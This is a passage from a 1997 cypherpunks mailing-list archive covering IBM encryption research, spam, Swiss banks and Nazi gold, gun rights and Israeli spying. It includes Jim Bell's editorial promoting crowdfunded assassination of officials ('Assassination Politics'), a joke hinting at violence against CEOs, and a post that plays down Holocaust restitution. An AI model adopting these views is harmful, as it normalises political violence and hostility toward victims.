   have come up with a new computer encryption formula that
   they say is nearly impossible to crack.

   The International Business Machines Corporation said that
   the breakthrough was still a long way from being employed
   outside the lab and that it did nothing to resolve the
   running dispute between the computer industry and the
   Federal Government over whether law enforcement agencies
   should be given access to encrypted communications. But it
   could ultimately help reduce the vulnerability of so-called
   public-key encryption, which is the favored security method
   used to safeguard commerce and privacy on the Internet.

   "They've made a big advance," said Joan Feigenbaum, a
   researcher at AT&T Labs in Murray Hill, N.J., who is
   familiar with the work of the two computer scientists who
   developed the system, Miklos Ajtai and Cynthia Dwork of
   I.B.M.'s Almaden Research Center in San Jose, Calif.
   "Scientifically, this is a big step in the right
   direction."

   But Bruce Schneier, a computer security consultant in
   Minneapolis and author of a standard textbook on
   cryptography, dismissed the news.

   "Theoretically it is important, but as a security
   breakthrough there is nothing new," he said.

   In public-key encryption, the sender of an electronic
   communication uses software that automatically scrambles
   the information by incorporating a publicly known numerical
   key. Decoding the scrambled transmission requires a private
   key, a number supposedly known only by the recipient.

   The security of the system depends, among other things, on
   how difficult it is for an electronic eavesdropper to crack
   the code using a powerful computer. If some of the codes
   that are generated by the system are difficult to break but
   others are easy, the system is inherently weak. I.B.M. said
   that its new system was the first to generate hundreds of
   codes at random, each of which is as difficult to crack as
   the hardest instance of the underlying mathematical
   problem.

   The system is based on a problem that has defied solution
   by mathematicians for 150 years, I.B.M. said.

   Mr. Schneier said that the cryptographic formulas now in
   use were already robust enough. The biggest challenge, he
   said, is creating security systems in the real world that
   are not vulnerable to hackers.

   "Cryptography is a lot more than math" he said.

   [End]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 7 May 1997 23:10:50 +0800
To: cypherpunks@cyberpass.net
Subject: My editorial in Oregonian newspaper published today.
Message-ID: <199705071455.HAA26950@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


My editorial appeared in the Tuesday, May 6 issue of the
(Portland) Oregonian newspaper, on the editorial page.



Fishing Expedition Swims Against Tide

According to the maxim, if you invent a better mouse-trap the world will
beat a path to your door.  Maybe the truth is that, instead, you'll get
assaulted by angry cats who are afraid of losing their jobs.

Suppose the government discovered a method to make itself obsolete.  Or
suppose the military learned how to make us all even more secure, for a
thousandth as much defense spending.   We'd never hear about it because
they'd be out of a job, and job security, not national security, is their
highest priority.

Two years ago I had a revolutionary  idea.   I was tired of hearing the
usual stories about how much harder society's problems have gotten in the
last few decades.    It's not that the problems are harder, it's just that
large constituencies have been built which depend on these "problems"  for
their income.  

For example, when the Cold War ended,  there was no military reason we
couldn't have reduced our military budget by a factor of two or three.
"But no!,"  said the politicians, let's continue buying those expensive
Stealth bombers, submarines, tilt-wing airplanes, and other toys. We weren't
afraid of getting attacked, the spending continued because of the threat of
unemployment on the part of the defense-industry workers. 

Legalize drugs and turn a vast legal problem into a far cheaper and more
manageable health problem?  No, because with 70% or more of the prison
population there due to drug laws, you'd have to fire most of the jailers,
the prosecutors, the police, the judges, and the lawyers, all of whom have
come to depend on the involuntary "generosity" of the taxpayer.

Two years ago I realized that the whole corrupt system could be stopped.  It
would be necessary to not only halt pork-barrel politics at all levels, but
also to provide a very few necessary services for people, such as defense
and justice, although financed inexpensively and voluntarily.   You'd have
to shut down all militaries and governments, simultaneously, all around the
world, while at the same time protecting our security.  Impossible?

In the summer of 1995 I began to write an essay, half-jokingly titled
"Assassination Politics".    It occurred to me that if people could defend
themselves by anonymously donating money to anonymous people who act to
protect us, you wouldn't need militaries or governments anymore.   Nuclear
bombs would be obsolete, and in fact they will be hopelessly  dangerous to
anyone who owns them, because the rest of us will be able to donate money to
ensure their owners have no choice but to dismantle them.  Conventional
militaries will be useless,  because threats to people's security will be
dealt with far more cheaply by large numbers of tiny individual
contributions buying the part-time services of a few semi-professional
trouble-shooters.   

Murderous dictators of the past and present,  such as Hitler, Stalin, Mao,
Pol Pot, Saddam Hussein, Khadafi, Idi Amin,  and so many others simply
couldn't operate in such a world, because they (and their replacements, if
anyone dared follow them) could be removed for the collective pocket change
of a few million angry citizens.

There'd be no conventional wars, because anyone who would make war would be
a threat not only to his enemy, but also to anyone on "his" side who would
be forced to help pay for that war, or even third parties who wouldn't want
to see aggression win, for fear they'd be the next target.  There would be
no draft, because forcing someone else to fight for you makes YOU his enemy,
as well: On the other hand, if your cause is just, he will contribute
voluntarily, just as you do, to see the bad guy stopped. 

There would be little crime, because crime will be treated as an attack, and
people will be able to donate money to find and stop the criminals.  But
unlike today, there will be no large constituency (police, jailers, judges,
prosecutors, lawyers) who have a vested interest in keeping the crime rate
high, thus terrorizing the public into supporting "anti-crime spending"
which really just lines their pockets.

I've been openly debating the idea on the Internet since then with anyone
who will listen.  My essay  surprises many and shocks more than a few, but
I am pleased that such a truly revolutionary concept has been so well
received.   Even the Columbian newspaper (www.columbian.com) has decided to
add a pointer to the essay.

The only "threat" in the essay is to the jobs of the people who have been
parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why,  on April 1, twenty Federal
agents burst in and took my computer,  told the news media I was "armed and
dangerous," and began engaging in a fishing expedition including harassing
people simply for knowing me.  (No arrest or charges so far.)  They may
claim that they were looking for something else, but what they are really,
desperately hoping to find is...job security.  If I'm right, they have none.

Jim Bell
jimbell@pacifier.com



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Wed, 7 May 1997 23:53:23 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: The Executive State
Message-ID: <3.0.32.19970507081934.006bbe28@best.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone doubting that the center of gravity of world power is shifting
would do well to ponder: 100 of the world's top CEO's are going to 
Bill Gates' house to hear him expound on what the future will look
like.

IF that doesn't make you nervous nothing will.  It's at least as 
nervewracking as anything Clinton admin. might do.

At 07:26 PM 5/6/97 -0400, Robert Hettinga wrote:
>
>--- begin forwarded text
>
>
>Date: Tue, 6 May 1997 10:46:19 -0700
>From: thomasu@mail.auburn.edu
>To: misesmail@colossus.net
>Subject: The Executive State
>Sender: owner-misesmail@colossus.net
>Precedence: Bulk
>
>The Executive State:
>The U.S. Presidency vs. American Liberty
>
>	When President Clinton asked golfer Tiger Woods to join him at an official
>propaganda event, and even offered to send Air Force One, Tiger answered as
>every freedom-loving American should: he had something better to do. He was
>going on a vacation with some college chums.
>
>	Tiger has his priorities straight, but his turndown is another indication
>that the presidency is shrinking as an institution. It still commands, but
>no longer compels, our undying (or dying) obedience, no matter how many
>monuments are erected to despots on the Washington Mall. This trend is all
>to the good.
>
>	The legacy of presidential autocracy from the earliest days of the
>republic to the present survives in the form of the executive state. But
>where can you go in the library to find the truth about the havoc U.S.
>presidents have wrecked on the American promise of freedom? Virtually
>nowhere. The official history of the presidency reads like the Lives of the
>Saints.
>
>	The Mises Institute intends to do something about this. In the Fall of
>1998, we're holding a major academic conference on the American presidency.
>Our purpose is to debunk the conventional view that the more power he's
>usurped, the better off the American people are.
>
>	All the presidents qualify for study, but we are especially interested in
>the checkered careers and dictates of Polk, Lincoln, McKinley, Roosevelt I,
>Wilson, Roosevelt II, Truman, Johnson, Nixon, and Reagan.
>
>	If you're a scholar and would like to participate with a paper on some
>aspect of a presidential power grab (or one of those few occasions when a
>president did some good) let us know. An abstract is all that's necessary
>to be considered now.
>
>The Ludwig von Mises Institute
>Auburn, Alabama 36849-5301
>334-844-2500; fax: 334-844-2583
>
>--- end forwarded text
>
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>Lesley Stahl: "You mean *anyone* can set up a web site and compete
>               with the New York Times?"
>Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
>The e$ Home Page: http://www.shipwright.com/
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dogbert@yoyo.com
Date: Wed, 7 May 1997 20:58:53 +0800
To: cypherpunks@algebra.com
Subject: (1048129di) Questions, Round Thirteen, The Dilbert Trivia Game
Message-ID: <9705071227.AB84040@cavalier.yoyo.com>
MIME-Version: 1.0
Content-Type: text/plain




* * * * * * Consultants Wanted * * * * * * *
We want to fill up as many binders with as
much information as possible, so we're asking
Dilbert Trivia Game players to do the Yoyodyne
Survey. What's in it for you? Prizes. We'll be
randomly awarding stuff to people who do this:
http://www.yoyo.com/dilbert/survey.html
* * * * * * * * * * * * * * * * * * * * * * *

This memo is to announce that Round Thirteen of The Dilbert
Trivia Game has now been implemented. Please file this memo
in the appropriate binder, in triplicate. The distribution
of cool, official Dilbert prizes is at stake here.

~~~~~~~~~~~~~~~
Need a Way Out?
~~~~~~~~~~~~~~~
If you'd rather write your own performance review than keep
playing this game, please visit Yoyodyne's new Customer
Service Center at http://www.yoyo.com/service, where your
request can be fulfilled automatically. Want to quit all
Yoyodyne games? The Customer Service Center can do that too.
Just like that.

~~~~~~~~~~~~~~~~~~~~~
This Week's Questions
~~~~~~~~~~~~~~~~~~~~~

Question One
~~~~~~~~~~~~
In a meeting with the boss, as captured forever in the pages
of "Dogbert's Top-Secret Management Handbook" ("DTSMH"),
Dilbert is told to add a sentence to his report saying that
micro-robotics is a dead-end technology. When he answers
that the statement would make the whole report a confusing
and senseless waste of time, the boss says:

A -- That's okay. We just won't let anybody else see it.

B -- That's part of our strategy.

C -- And your point is what?


Question Two
~~~~~~~~~~~~
Discussing the quality assurance process with Ratbert (as
transcribed in a strip in "DTSMH"), the boss accuses him of
finding a huge number of flaws in the prototype,
jeopardizing the schedule. The possible results, according
to the boss, are:

A -- Mass layoffs will result.

B -- The entire project will fail and it's all your fault.

C -- This could be the end of civilization as we know it.


Question Three
~~~~~~~~~~~~~~
Waxing rhapsodic over the advantages of using temporary
workers (as noted in a strip in "DTSMH"), the boss says:

A -- I just love hiring these temporary workers.

B -- No employee benefits...no union...just throw 'em in
the Dumpster when you're done with 'em.

C -- Both A and B.


Question Four
~~~~~~~~~~~~~
Asking the boss to delay the beta trial of a product until
it stops exploding, Dilbert is met with resistance, as
evidenced by this strip in "DTSMH":

A -- You engineers are such pessimists. Just once, try to
focus on the positive aspects of the trial.

B -- Is that a bad thing?

C -- Could we call that a feature?

~~~~~~~~~~~~~~~~~
Productivity Tip
~~~~~~~~~~~~~~~~~
Dogbert absolutely, positively must receive your answers at
dogbert@yoyo.com before the deadline of 5/11/97 11:00:00 PM
Eastern Time or you'll be replaced by a consultant. So give
yourself enough time for the mail to get here.

~~~~~~~~~~~~~~~~~~~~~
Incentive Plan Update
~~~~~~~~~~~~~~~~~~~~~
Every correct answer earns you an entry into the weekly,
quarterly, and annual prize drawings. And even wrong answers
count toward the drawing for the annual attendance prize.
(No sick days or vacation days if you want to win that one.)

~~~~~~~~~~~~~~~~~~~~~~~~~~~
How to Answer the Questions
~~~~~~~~~~~~~~~~~~~~~~~~~~~
First off, your player ID -- the letters and numbers in
parentheses on the Subject line when you get your questions
-- has to be on that same old Subject line when you send
your answers. It looks like this example: (123456di)

Most mailers will set this up automatically when you use the
"Reply" button. If yours won't, then copy the Subject line
from the Question message and paste it into the Subject line
of your reply.

Next comes setting up your answers. Start by picking the
LETTER of the multiple-choice answer you like best. Say the
answer to a question is this:

A -- A coffee cup with a slogan is your answer to the
productivity crisis?

Your answer would be the letter A, preceded by a single pound
sign # -- like so: #A

One more thing: Each answer goes on its own line, please.
Thanks.

To review: Start by opening the original e-mail with the
questions, click the "Reply" button, type your answers in
the order in which they were asked, on separate lines, and
put one of these thingies # in front of each one.

There's more about the formatting stuff in the How
to Play document, which you can get by sending e-mail to
dogberthow@yoyo.com.

~~~~~~~~~~~~~~
The Fine Print
~~~~~~~~~~~~~~
*FLAMES*FAN MAIL*FEEDBACK*

Please send everything like that off to Laurie, the Quality
Obsessed Customer Service Rep for the game. Her address is
ratbert@yoyo.com (she lives under the copying machine, in a
little nest there, right next to Ratbert).

Laurie will forward any game feedback to Scott, in neatly
tied daily bundles. Scott prefers it this way -- he told us
so. Letting Laurie solve your problems will allow Scott to
focus on drawing more great comics for us to enjoy.

* Official Notice About the Vagaries of E-mail *

As you've doubtless discovered if you've used e-mail even
once, it usually gets where it's going when it's supposed
to, BUT sometimes the e-mail gods divert your message to
Elbonia. If your answers to the game questions land in our
system after the deadline or fail to make it to us
altogether, we can't count them. We send out a message
listing the correct answers right after the deadline. The
Internet *should* work on time all the time, but it doesn't.
The best thing you can do is send in your answers well in
advance of the deadline.

* Player ID *

Your player ID is the collection of digits and letters,
enclosed in parentheses, on the Subject line of every
question e-mail you receive in this game. It looks like this
example: (123456di). We need to have your player ID in every
communication to Yoyodyne. Most mailers will set this up
automatically when you use the "Reply" button. If yours
won't, then copy over the Subject line from the Question
message and paste it into the Subject line of your reply.

* More Info *

For more information about The Dilbert Trivia Game, send
e-mail to these addresses:

  Quality of Life Issues: ratbert@yoyo.com
  How to Play: dogberthow@yoyo.com
  Game FAQ: dogbertfaq@yoyo.com
  The Official Rules: dogbertrules@yoyo.com
  Web site: http://www.yoyo.com/dilbert

Tell your friends to play The Dilbert Trivia Game, and see
whose score is higher! The sign-up address is
dilbert@yoyo.com. Like, wow.

For info about other free Yoyodyne games you could be
playing, send e-mail to win@yoyo.com or, even better, visit
our Web site at http://www.yoyo.com. And don't forget about
our free weekly newsletter. E-mail news@yoyo.com to sign up.

---
Yoyodyne Entertainment
"Where the future begins...tomorrow."
win@yoyo.com, http://www.yoyo.com

Copyright, United Features Syndicate, Inc. 1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 7 May 1997 23:48:31 +0800
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705070543.WAA16571@kachina.jetcafe.org>
Message-ID: <Pine.SUN.3.91.970507110707.999D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 6 May 1997, Dave Hayes wrote:

> Igor Chudov writes:
> > I am interested in your view, Dave.
> 
> There are only two reasons that I can see your interest serving. 
> You either wish to support my views or oppose them. Neither case
> serves your potential enlightement, therefore I shall choose to 
> not answer.

A very Zen answer (and quite a slippery one at that.) What if Igor was 
simply curious as to your views?

If not what difference does it make whether he supports or opposes your view? 
We are all free to our own opinions.  Why do you care whether or not a
person is enlightened by your response?  If you truly are following Zen, then
it is not for you to decide what will or won't enlighten others since 
this would mean taking responsability for another person's karma.

IMHO, your response isn't one of potentially enlightening others, but rather
fear of sharing your opinion.  This is two fold.  If you fear he will oppose
it, you are seeking the approval of others. If you fear he will agree to it,
you fear that those who oppose his views will oppose yours.  You could take
the hidden third option and claim privacy, however it is too late to do so
since you have already shared some commentary - and thus this path is closed
to you.

Your responses so far were to the ethical and moral standards of spamming the
spammers.  I wasn't interested in such.  I am comfortable with my own morals
and take responsability for my actions.  However, the point of this paragraph
is that you have tried to share with us your morals, and thus thrust them
upon us, later, here, you say you lack the will to share your views with us,
and thus back out of passing judgement on our hypothetical actions.

And at this point I am no longer interested in your oppinion on this 
matter for it is jaded by fear, so please, don't even bother to reply. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 7 May 1997 23:53:45 +0800
To: DataET Research Data Engineering Technologies <dataet@hotmail.com>
Subject: Re: Custom programming, Web site design & development, and more.
In-Reply-To: <199705062233.PAA27824@f42.hotmail.com>
Message-ID: <Pine.SUN.3.91.970507113312.999G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


So, now that your snake oil products have been proven as full of holes as 
swiss cheese, you're back to spam us with offers of your "services?"  Go 
away!

On Tue, 6 May 1997, DataET Research Data Engineering Technologies wrote:

> Visit DataET Research, an excellent source for high-quality, but extensively 
> inexpensive, software development and marketing solutions.
> 
> SERVICES:
> 
> o Custom Software Development Service
> o Custom Database Application Development Service
> o Help File / System Development Service
> o Installation Program Development Service
> o Shareware Distribution & Marketing Service
> o Trial Usage Tracking System Development Service
> o Web Site Design & Development Service
> o Press Release Distribution Service
> 
> If you are interested in having a spectacular Web site or customized software 
> package developed for your organization, VISIT: http://www.dataet.com.
> 
> Free cost and time estimates are given.
> 
> PRODUCTS:
> 
> o VSA2048 Crytography (Encryption) Module
> o VSA2048 QuickCrypt (Encryption)
> 
> If you are interested in trying out the latest encryption software developed by 
> DataET Research, VISIT: http://www.dataet.com.
> 
> Shareware trial edition versions are available.
> 
> DataET Research
> Data Engineering Technologies
> VISIT: http://www.dataet.com
> 
> 
> ---------------------------------------------------------
> Get Your *Web-Based* Free Email at http://www.hotmail.com
> ---------------------------------------------------------
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Wed, 7 May 1997 20:29:24 +0800
To: usura@basement.replay.com
Subject: Netscape-128 not at Replay.com
Message-ID: <3.0.1.32.19970507140543.00912550@localhost>
MIME-Version: 1.0
Content-Type: text/plain



It seems that the US versions of Netscape have been removed from
ftp.replay.com. Did Netscape comment on the software being available, or
what happened?

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: inet97@ameritech.net
Date: Tue, 13 May 1997 02:05:55 +0800
To: jyu-ohjelmointi-cypherpunks@moderators.uu.net
Subject: A GUARANTEED MONEY MAKER!!
Message-ID: <5l1djo$sck$7701@nntp0.cleveland.oh.ameritech.net>
MIME-Version: 1.0
Content-Type: text/plain


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Communications Inc.. We do authorize and encourage the forwarding of
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 00:47:36 +0800
To: cypherpunks@cyberpass.net
Subject: Banking Secrecy and Nazi Gold
Message-ID: <v03007800af9667d20ad6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I try to deconstruct events, to determine what the real issues are.

Take the case of the ongoing flap over Switzerland and claims that Swiss
banks hid gold, jewels, and other forms of money for high-ranking Nazis.
Adding to the flap--actually, making it a newsworthy event--is the
allegation, probably true, that some of the gold was taken from Jews and
others sent to extermination camps.

(A further claim, not related to the Nazi claim directly, is that the bank
accounts of those who perished in the war were not made available to heirs,
that in some cases the banks even liquidated the accounts and used the
money for (unspecified) purposes. I know little about this particular
claim, and won't discuss it further.)

OK, so it's clear to all right-thinking persons what should be done:
Switzerland should return the money to the heirs of those killed by the
Nazis.

Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

First, it is not a matter of "Switzerland" having done something, it is a
matter of several major banks and dozens (I presume) of lesser banks. It is
Credit Suisse, Union Bank, etc. who presumably took in deposits, with
numbered accounts (perfectly legal by Swiss law at the time), not the
"state of Switzerland."

Second, how could the _provenance_ of the deposits be determined by, say
Credit Suisse? How could Hans the Banker taking a deposit from Fritz the
Depositer somehow know that the money Fritz was depositing was from money
seized from Jews? For all Hans knew, especially in 1939-43, before any real
knowleedge of the extermination of Jews became available (and such
knowledge was still rare, as any examination of the newspapers of the day
will show), the money was from German families seeking to protect their own
assets, or was even money siphoned from the German war effort, and so on.

Third, the notion that "Switzerland must do something!" is pernicious and
inimical to banking secrecy and basic privacy issues. A drumbeat is
building which will serve to undermine banking secrecy around the world.

(Now what happened to the Jews in Europe was horrible, depicable, etc. It
was an example of the power of the total state to order the liquidation of
some religious or ethnic faction. But the horror of the liquidation of
millions of Jews, or millions of Chinese, or millions of Tutsis/Hutus,
etc., must not be an excuse for expanding the power of states still
further. That circular logic will ultimately kill even more in factions out
of favor.)

This issue relates to Chaumian anonymous cash, of course. One can imagine
various scenarios by which crypto anarchy is used to transfer funds, etc.
Left as an exercise for the imaginative.

As the "Nazi Gold" story continues to build, expect "Swiss bankers" to be
added to the list of the "Horsemen." (Swiss bankers always have been viewed
with some suspicion--and admiration. Usually related to their "sheltering"
of funds from dictators and mobsters. And their has long been the hint of
complicity with the Reich in some areas. But now the move is on to
associate Swiss banks with the Holocaust more explicitly.)

I suspect the U.S. pressure on Swiss banks has a political dimension
related to forcing a New World Order on international banking. The U.S.
wants banking secrecy subject to U.S. control (so that banks like Castle
Bank, Nugan Hand Bank, Banco Ambrosiano, BCCI, and the Bank of America can
continue to be used for U.S. interests, and only U.S. interests).

The Jews killed by the German state in the war are dead and gone. Most of
their money is irretrievably gone. The clamor to break banking secrecy and
"force" the banks to disclose all records is part of a larger political
game.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 01:35:14 +0800
To: cypherpunks@cyberpass.net
Subject: OFF-TOPIC: Second Amendment
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <v03007802af96766276ad@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


(This is veering off into a typical Second Amendment debate, the bane of so
many lists and newsgroups, so I will be brief and will try to make this my
last comment in this thread.)


At 8:43 PM -0800 5/5/97, Kent Crispin wrote:

>I have heard, from a knowledgable person, that the reason that the NRA
>has not pressed a constitutional challenge is that their lawyers tell
>them that the historical context clearly indicates that the second
>amendment does *not* protect individual ownership of firearms, and
>that a constitutional challenge would almost certainly lose.  Hence
>the NRA resorts to lobbying.  That is, it is not a matter of
>Roosevelt scaring the judges, but a matter of the clear intent of the
>constitution.
>
>This made sense to me -- if the constitutional grounds were clear the
>NRA could save a tremendous amount of money and trouble just by
>letting the court rule on it -- Roosevelt is dead.

I don't buy this "knowledgeable person"'s claim (though all manner of
opinions emanate from the NRA). NRA literature has consistently claimed the
opposite. Now, why there hasn't been a major court challenge is unclear,
and this theory is one explanation. But there are others, such as NRA
willingness to save the rights of "hunters" over the rights of "militia
members." Or a calculation that the courts would rule against gun
ownership, for whatever reason.

I can't find support for the notion that the Founders were not speaking
about individual ownership of firearms. First, essentially every household,
except perhaps in the larger cities, had a musket or rifle, such as they
were in those days. These were used for putting food on the table, defense
against Indians, and all the usual Colonial cliches.

Second, there was never a formal "militia" in most communities. The
"militia" was the informal formation of a defense force should the need
arise. Thus, the weapons were those the households had, the rifles and
muskets that farmers, traders, and shopkeepers had at their disposal. There
certainly was no mention of a "National Guard Armory" where such weapons
were to be stored!

In any case, arguing the "intent" of the Founders is always problematic. I
favor direct action. Caching weapons in secure places, for example. Buying
several thousand rounds of ammo, and setting up reloading capabilities, for
another. And quitting the NRA, which is too namby pamby about gun rights.
And, last but not least, buying a defensible home on top of a hill.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 8 May 1997 00:54:03 +0800
To: geeman <geeman@best.com>
Subject: Re: The Executive State
In-Reply-To: <3.0.32.19970507081934.006bbe28@best.com>
Message-ID: <199705071629.LAA00582@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.32.19970507081934.006bbe28@best.com>, on 05/07/97 at 09:20 AM,
   geeman <NOSPAM-geeman@best.com> said:


>Anyone doubting that the center of gravity of world power is shifting
>would do well to ponder: 100 of the world's top CEO's are going to  Bill
>Gates' house to hear him expound on what the future will look like.

>IF that doesn't make you nervous nothing will.  It's at least as 
>nervewracking as anything Clinton admin. might do.

Hmmm... 100 top CEO's & Bill Gates all in one place.

Makes one ponder the possibilities. :)

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I use OS/2 2.0 and I don't care who knows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3C9I49Co1n+aLhhAQEZFAQAjnn6QAOr2Ul9XaI0OmZdkRZMriPCOLJX
kHoiFpPxMYJeepzum4U67n4K7FQaFsn+zf5Lpgwd01dkQ3u0MbkF7sA5aGoK4+kR
qVEAUD4saQlUE6TyPIpZniU2Pr0229OB7hS+jFOqeRWeL5uIwSpR+y9YL/cx5afB
eKtNoc/2CrE=
=MswY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 02:51:35 +0800
To: cypherpunks@cyberpass.net
Subject: Zionist Spies
In-Reply-To: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>
Message-ID: <v03007800af9687741133@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:21 AM -0800 5/7/97, John Young wrote:
>Wash Post reports today on a NSA intercept of
>a "secure communication" between two Israeli
>spooks discussing a top US official spying for
>Israel.
>
>The FBI opened an investigation in January.
>
>Israel denies the claim.
>
>Crypto is not mentioned, only that the Hebrew
>conversation was "awkwardly" translated.
>
>The intercept was withdrawn after 12 hours from
>the distribution list due to FBI's dismay at its
>spread.

First, this was probably an intentional spreading of the news. The U.S.
wants its nominal ally, Israel, to know that it knows and that it wants
Israel to know it is publically signalling that it knows that it knows.

Second, such spying by nominal allies on each other is not new, of course,
and has always been common. The U.S. has intensive espionage efforts
directed against all of its nominal allies, often maintaining extensive
listening posts in the countries involved. (The U.S., being the big bully
on the block, can maintain large SIGINT and COMINT facilities in Japan, for
example, but reciprocal rights by the Japanese to maintain COMINT
facilities in Silicon Valley, for example, are not granted.)

Third, whether crypto is presently involved now, it soon will be. Encrypted
phones are being sold--not the Clipper-enabled duds, but the 3DES phone
Eric Blossom and his Comsec outfit is selling, Encrypted links over the
Internet for voice, too. (One of the most impressive things I ever saw was
a fully-DES-encrypted linkup of several sites via the MBONE...and this was
more than four years ago, at a Cyperpunks meeting which linked up Silicon
Valley, Washington, Boston, San Diego, and other sites.)

Fourth, under the SAFE provisions, such "diversions" of crypto to uses by
terrorists, spies, and military persons could invoke the clauses by which
exports are denied, and even trigger the "furtherance of a crime"
provisions.

We've known the Zionist state has had nukes for more than 25 years,
probably longer. And yet we cluck about the nuclear programs of other
nations.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 00:35:29 +0800
To: cypherpunks@cyberpass.net
Subject: AWK_war
Message-ID: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Wash Post reports today on a NSA intercept of
a "secure communication" between two Israeli
spooks discussing a top US official spying for
Israel.

The FBI opened an investigation in January.

Israel denies the claim.

Crypto is not mentioned, only that the Hebrew
conversation was "awkwardly" translated.

The intercept was withdrawn after 12 hours from
the distribution list due to FBI's dismay at its
spread.

-------

AWK_war





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 03:34:27 +0800
To: cypherpunks@cyberpass.net
Subject: A "Mega" Opportunity
In-Reply-To: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>
Message-ID: <v03007800af96938f3c65@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:21 AM -0800 5/7/97, John Young wrote:
>Wash Post reports today on a NSA intercept of
>a "secure communication" between two Israeli
>spooks discussing a top US official spying for
>Israel.
>
>The FBI opened an investigation in January.
>
>Israel denies the claim.
>
>Crypto is not mentioned, only that the Hebrew
>conversation was "awkwardly" translated.
>
>The intercept was withdrawn after 12 hours from
>the distribution list due to FBI's dismay at its
>spread.

It might be fun to send some remailed messges to addesses within the
